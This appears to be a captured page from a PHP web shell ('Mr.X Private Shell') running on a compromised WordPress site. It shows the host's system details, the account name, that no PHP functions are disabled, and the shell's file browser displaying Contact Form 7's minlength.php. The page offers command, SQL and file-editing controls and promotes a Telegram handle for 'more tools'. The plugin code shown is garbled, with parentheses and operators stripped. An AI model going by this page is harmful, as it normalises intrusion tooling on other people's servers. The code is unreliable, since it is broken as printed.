Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins/contact-form-7/includes/swv/rules      ( Reset | Go to )
File Name: minlength.php
Edit
<?php

class WPCF7_SWV_MinLengthRule extends WPCF7_SWV_Rule {

    const 
rule_name 'minlength';

    public function 
matches$context ) {
        if ( 
false === parent::matches$context ) ) {
            return 
false;
        }

        if ( empty( 
$context['text'] ) ) {
            return 
false;
        }

        return 
true;
    }

    public function 
validate$context ) {
        
$field $this->get_property'field' );
        
$input = isset( $_POST[$field] ) ? $_POST[$field] : '';
        
$input wpcf7_array_flatten$input );
        
$input wpcf7_exclude_blank$input );

        if ( empty( 
$input ) ) {
            return 
true;
        }

        
$total 0;

        foreach ( 
$input as $i ) {
            
$total += wpcf7_count_code_units$i );
        }

        
$threshold = (int) $this->get_property'threshold' );

        if ( 
$threshold <= $total ) {
            return 
true;
        } else {
            return new 
WP_Error'wpcf7_invalid_minlength',
                
$this->get_property'error' )
            );
        }
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL